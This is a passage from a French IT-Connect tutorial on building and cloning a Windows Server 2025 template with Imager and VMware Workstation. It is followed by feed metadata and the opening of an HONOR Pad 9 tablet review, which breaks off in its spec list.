<p>La phase "<strong>Software</strong>" nous permet de provisionner des packages au format <strong>ppkg</strong>. Ces packages sont créés avec l’application "<strong>Windows Imaging and Configuration Designer</strong>". C'est un logiciel disponible dans l’image ISO des outils de déploiement de Windows ADK.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="269" height="122" src="media/abfd43ad.Comment-creer-modele-Windows-Server-2025-Imager-9.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-9.png" alt="" class="wp-image-78224" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-9.png 269w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-9-150x68.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-9-50x23.png 50w" sizes="(max-width: 269px) 100vw, 269px" /></figure>



<p>Dans notre cas, pas de programme additionnel.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="603" src="media/2968ef06.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-10.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-10.jpg" alt="" class="wp-image-78225" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-10.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-10-550x415.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-10-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-10-768x579.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-10-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Pour la phase "<strong>Optimize</strong>", nous pouvons améliorer et/ou configurer notre Machine Windows avec différents profils.</p>



<ul>
<li> Pas d’optimisation : le système d’exploitation n’est pas modifié</li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="382" src="media/c7a16a87.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-11.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-11.jpg" alt="" class="wp-image-78226" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-11.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-11-550x263.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-11-150x72.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-11-768x367.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-11-50x24.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Optimisation avec un profil par défaut pour des machines virtuelles conçues pour VMware Horizon. L’outil utilisé est <strong>VMware Windows OS Optimization Tool</strong> qui est disponible sur le site de VMware à l’adresse <a href="https://customerconnect.vmware.com/en/downloads/info/slug/desktop_end_user_computing/windows_os_optimization_tool_for_vmware_horizon/1_0" target="_blank" rel="noopener nofollow" title="">suivante</a>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="792" height="270" src="media/d3e9131a.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-12.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-12.jpg" alt="" class="wp-image-78227" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-12.jpg 792w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-12-550x188.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-12-150x51.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-12-768x262.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-12-50x17.jpg 50w" sizes="(max-width: 792px) 100vw, 792px" /></figure>



<p>Enfin, il est possible de faire son propre profil avec "<strong>VMware Windows OS Optimization Tool</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="792" height="346" src="media/3d328807.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-13.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-13.jpg" alt="" class="wp-image-78228" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-13.jpg 792w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-13-550x240.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-13-150x66.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-13-768x336.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-13-50x22.jpg 50w" sizes="(max-width: 792px) 100vw, 792px" /></figure>



<p>Dans notre cas, pas d’optimisation.</p>



<p>La phase de Sysprep, nous permet d’enlever la personnalisation présente dans notre image Windows : SID, compte utilisateurs et pilotes associés à la machine. Dans ce cas, les pilotes sont conservés. Sachez que vous avez la possibilité de conserver le compte administrateur créé lors de l’installation.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="607" src="media/5beae7b3.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-14.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-14.jpg" alt="" class="wp-image-78229" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-14.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-14-550x417.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-14-150x114.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-14-768x583.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-14-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Imager nous donne la possibilité à travers un fichier de réponse de créer des comptes locaux, de joindre la machine à un domaine Active Directory, mais aussi de sélectionner les paramètres de régionaux ou encore d’afficher la Licence EULA.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="607" src="media/5cab8489.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-15.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-15.jpg" alt="" class="wp-image-78230" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-15.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-15-550x417.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-15-150x114.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-15-768x583.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-15-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Maintenant, nous </strong>avons terminé la configuration de notre modèle, il vous suffit de cliquer sur "<strong>BUILD IMAGE</strong>". Le processus prend entre 15 et 30 minutes en fonction des options sélectionnées : les mises à jour avec Windows Update et l'Optimisation sont des phases qui augmentent le temps de création.</p>



<p><strong>Remarque&nbsp;</strong>: en fonction de l’Image ISO que vous utilisez, vous allez devoir juste interagir une fois avec le processus. Pourquoi, et bien tout simplement, car vous n’utilisez pas une Image Windows en volume, et donc le système vous demande de renseigner une clé de Windows : alors comment faire&nbsp;?</p>



<p>Durant la phase "<strong>Install OS</strong>", qui se déroule assez rapidement, Windows Server, dans notre cas, requiert une image d'installation. Donc, nous devrons simplement ouvrir la VM qui a été créée par Imager.</p>



<p>Naviguez dans le répertoire "<strong>Imager\Windows Server 2025</strong>" sur votre PC. </p>



<p>Comment déterminer si notre VM est en fonctionnement ? Et bien pour cela c’est assez facile, vous devez avoir un fichier avec un nom qui a le format d’un GUID et avec l’extension&nbsp;<strong>.VMEM</strong>, ainsi que la présence d’un dossier en <strong>.lck</strong>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="585" height="493" src="media/a997040b.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-16.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-16.jpg" alt="" class="wp-image-78231" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-16.jpg 585w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-16-550x464.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-16-150x126.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-16-50x42.jpg 50w" sizes="(max-width: 585px) 100vw, 585px" /></figure>



<p>Double-cliquez sur le fichier VMX de Windows Server 2025, et normalement VMware Workstation ouvrira la machine virtuelle automatiquement.</p>



<p>Et là, vous pouvez passer l’étape, en cliquant sur "<strong>Do this later</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="568" src="media/de354ae9.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-17.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-17.jpg" alt="" class="wp-image-78232" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-17.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-17-550x391.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-17-150x107.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-17-768x545.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-17-50x36.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Avec de la patience, <strong>Imager</strong> finit la création de l’image.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="784" height="630" src="media/30298c7d.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-18.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-18.jpg" alt="" class="wp-image-78233" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-18.jpg 784w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-18-550x442.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-18-150x121.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-18-768x617.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-18-50x40.jpg 50w" sizes="(max-width: 784px) 100vw, 784px" /></figure>



<p>Dernière modification, comme cet outil vous permet de créer des images pour <strong>VMware Workstation</strong> et l’écosystème <strong>VMware vSphere</strong> et <strong>Horizon</strong>, certaines options ne sont pas activées. Par exemple, le copier-coller depuis votre machine hôte, ou encore le <strong>drag-and-drop</strong>. Pour cela, il faut éditer les paramètres de votre VM et activez les options adéquates.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="759" height="734" src="media/2e4a27e6.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-19.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-19.png" alt="" class="wp-image-78234" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-19.png 759w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-19-550x532.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-19-150x145.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-19-50x48.png 50w" sizes="(max-width: 759px) 100vw, 759px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="301" src="media/75db7662.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-20.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-20.jpg" alt="" class="wp-image-78235" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-20.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-20-550x207.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-20-150x56.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-20-768x289.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-20-50x19.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Imager vous permet d’exporter votre VM au format OVF ! </strong>Maintenant, vous allez pouvoir effectuer des clones liés dans VMware Workstation ou des clones complets pour vos environnements de laboratoires.</p>



<h2 class="wp-block-heading">IV. Utiliser notre modèle avec VMware Workstation</h2>



<p>Dès à présent, ouvrez VMware Workstation sur votre PC. Puis, <strong>ouvrez</strong> le fichier correspondant à votre machine virtuelle avec l’extension <strong>.vmx. </strong>Dans mon cas, il s'agit du fichier "<strong>Windows Server 2025.vmx"</strong>.</p>



<p><strong>Créez </strong>un snapshot avec comme nom <strong>"Initial</strong>" par exemple.</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-utiliser-les-snapshots-avec-vmware-workstation-pro/" target="_blank" rel="noopener" title="Comment utiliser les snapshots avec VMware Workstation Pro ?">VMware Workstation : comment utiliser des snapshots ?</a></li>
</ul>



<p>Suite à cette action, vous devriez être en mesure d’avoir cette configuration si vous cliquez sur l’icône de gestion des snapshots :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="436" height="27" src="media/78e47898.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-21.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-21.jpg" alt="" class="wp-image-78236" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-21.jpg 436w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-21-150x9.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-21-50x3.jpg 50w" sizes="(max-width: 436px) 100vw, 436px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="673" height="509" src="media/0a7d9b8d.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-22.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-22.jpg" alt="" class="wp-image-78237" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-22.jpg 673w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-22-550x416.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-22-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-22-50x38.jpg 50w" sizes="(max-width: 673px) 100vw, 673px" /></figure>



<p>Nous allons à présent configurer notre machine virtuelle pour être utilisée comme modèle pour créer des clones.</p>



<p>Modifiez les paramètres de votre <strong>VM</strong> et accédez à l’onglet "<strong>Option". </strong>Ici, sélectionnez "<strong>Advanced</strong>" et <strong>cochez </strong>l’option<strong> "Enable Template Mode".</strong></p>



<figure class="wp-block-image size-full"><img decoding="async" width="759" height="734" src="media/4db79b18.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-23.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-23.png" alt="" class="wp-image-78238" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-23.png 759w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-23-550x532.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-23-150x145.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-23-50x48.png 50w" sizes="(max-width: 759px) 100vw, 759px" /></figure>



<p>Votre machine est prête pour être clonée !</p>



<h3 class="wp-block-heading">A. Clones liés ou full&nbsp;?</h3>



<p>VMware Workstation nous offre la possibilité de réaliser des clones de nos machines virtuelles. Cependant, en fonction de notre contexte, il y a des avantages, mais également quelques inconvénients.</p>



<p><strong>Une petite comparaison s’impose entre les deux types de clones :</strong></p>



<ul>
<li><strong>Le full clone</strong> revient à faire une copie intégrale de la machine que l’on clone. Cela fonctionne très bien, mais le principal inconvénient, c'est la place occupée par le clone. Un petit exemple pour l’illustrer : je souhaite faire un laboratoire Active Directory avec deux contrôleurs de domaine et un serveur membre. L’espace utilisé sera le suivant, ma VM créée seule pèse 7,5 Go, soit 40 Go d’espace une fois configuré pour l'ensemble du lab. De plus, le temps de création du clone sera plus longue.</li>
</ul>



<ul>
<li><strong>Les clones liés </strong>nous permettent de créer une machine différentielle, et ainsi seulement les différences seront inscrites dans la nouvelle VM clonée sans jamais modifier la machine parente. Nous avons un gain d’espace non négligeable, reprenons le même Laboratoire Active Directory : nous allons avoir comme espace utilisé seulement 14 Go. Le temps de création des VM liées est quasiment instantané. Mais, dans ce cas, il faut admettre une relative perte de performance car toutes les machines se partage le même disque parent. De ce fait, les entrées et sorties sont donc très importantes, mais optez pour un bon SSD et le tour est joué !</li>
</ul>



<h3 class="wp-block-heading">B. Comment créer un clone ?</h3>



<p>Dans l’interface de VMware Workstation :</p>



<ul>
<li>Cliquez droit sur l’onglet de votre VM</li>



<li>Sélectionnez "<strong>Manage</strong>"</li>



<li>Sélectionnez "<strong>Clone</strong>"</li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="652" height="590" src="media/87bd655b.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-24.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-24.png" alt="" class="wp-image-78239" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-24.png 652w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-24-550x498.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-24-150x136.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-24-50x45.png 50w" sizes="(max-width: 652px) 100vw, 652px" /></figure>



<ul>
<li>Cliquez sur "<strong>Next</strong>"</li>



<li>Vous retrouvez le snapshot précédemment créé avec son nom, par exemple "<strong>Initial</strong>".</li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="437" height="388" src="media/704ef0aa.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-25.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-25.jpg" alt="" class="wp-image-78240" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-25.jpg 437w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-25-150x133.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-25-50x44.jpg 50w" sizes="(max-width: 437px) 100vw, 437px" /></figure>



<ul>
<li><strong>Cliquez</strong> sur "<strong>Next</strong>"</li>



<li><strong>Choisissez</strong> votre option entre <strong>"Linked Clone</strong>" (clone lié) et "<strong>Full Clone</strong>".</li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="437" height="388" src="media/f76b9d24.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-26.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-26.jpg" alt="" class="wp-image-78241" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-26.jpg 437w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-26-150x133.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-26-50x44.jpg 50w" sizes="(max-width: 437px) 100vw, 437px" /></figure>



<ul>
<li><strong>Cliquez</strong> sur "<strong>Next</strong>"</li>



<li><strong>Rentrez</strong> un nom pour votre nouveau clone</li>



<li><strong>Cliquez</strong> sur "<strong>Next</strong>"</li>
</ul>



<p>Dans la nouvelle machine, vous pouvez retrouver les informations du clone fraichement créé !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="632" height="133" src="media/801cab68.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-27.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-27.jpg" alt="" class="wp-image-78242" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-27.jpg 632w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-27-550x116.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-27-150x32.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-27-50x11.jpg 50w" sizes="(max-width: 632px) 100vw, 632px" /></figure>



<p>Mais, aucune information sur l’option que j’ai choisie <img src="media/79ca6e3e.1f602.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f602.png" alt="😂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ! Alors, on regarde dans les fichiers !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="671" height="311" src="media/44b52e27.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-28.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-28.png" alt="" class="wp-image-78243" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-28.png 671w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-28-550x255.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-28-150x70.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-28-50x23.png 50w" sizes="(max-width: 671px) 100vw, 671px" /></figure>



<p>Un indice : ce n’est pas lourd pour une nouvelle VM Windows Server 2025, mais elle n’a encore jamais démarré. Une fois le premier démarrage effectué, sa taille a augmentée.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="605" height="387" src="media/47530ca8.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-29.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-29.jpg" alt="" class="wp-image-78244" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-29.jpg 605w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-29-550x352.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-29-150x96.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-29-50x32.jpg 50w" sizes="(max-width: 605px) 100vw, 605px" /></figure>



<p>Mais, cela reste néanmoins moins gourmand que 7,5 Go pour une installation de Windows Server 2025, grâce à notre clone basé sur une notre modèle Imager.</p>



<p><strong>Il ne vous reste plus qu'à profiter de ce modèle créé avec Imager grâce aux clones de VMware Workstation !</strong></p><p>The post <a href="https://www.it-connect.fr/comment-creer-un-modele-windows-server-2025-avec-imager/">Comment créer un modèle Windows Server 2025 avec Imager ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=77788
title: Test HONOR Pad 9 : une tablette 12 pouces efficace, mais à l’autonomie limitée
uri: Test-HONOR-Pad-9-une-tablette-12-pouces-efficace-mais-à-l-autono
url: https://www.it-connect.fr/test-honor-pad-9-tablette/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Honor est de retour sur le marché des tablettes tactiles puisque le modèle Honor Pad 9 a fait son apparition sur le marché français en mars 2024 ! Elle succède, en quelque sorte,au modèle Honor Pad 8 disponible depuis un peu plus d'un an et demi. Dans cet article, nous allons découvrir ensemble cette tablette milieu de gamme et je vous donnerai mes impressions !</strong></p>



<p>Commençons par évoquer les caractéristiques techniques de cette tablette qui est équipée d'<strong>un grand écran de 12,1 pouces </strong>:</p>



<ul>
<li><strong>Écran</strong> : 12,1 pouces, résolution 2,5K (2560 x 1600) avec un taux de rafraichissement de 120 Hz, écran LCD IPS</li>



<li><strong>Processeur</strong> : Qualcomm Snapdragon 6 Gen 1 avec 8 cœurs (4 x Cortex-A78 2,2 GHz + 4 x Cortex-A55 1,8 GHz)</li>



<li><strong>RAM</strong> : 8 Go</li>



<li><strong>Stockage interne</strong> : 256 Go</li>



<li><strong>Audio stéréo</strong> avec 8 haut-parleurs HONOR Histen, Hi-Res</li>



<li><strong>Module photo avant</strong> : un capteur de 8 mpx</li>



<li><strong>Module photo arrière</strong> : un capteur de 13 mpx</li>



<li><strong>Connectivité</strong> : Bluetooth 5.1, Wi-Fi 802.11a/b/g/n/ac</li>



<li><strong>Connectivité mobile 4G / 5G</strong> : non</li>



<li><strong>Batterie</strong> de 8 300 mAh compatible avec la charge rapide 35W</li>



<li><strong>Système d'exploitation</strong> : MagicOS 7.2 (Android 13)</li>



<li><strong>Poids</strong> : 555 grammes</li>



<li><strong>Épaisseur </strong>: 6,96 mm</li>



<li><strong>Prix</strong> : 349,90 euros</li>



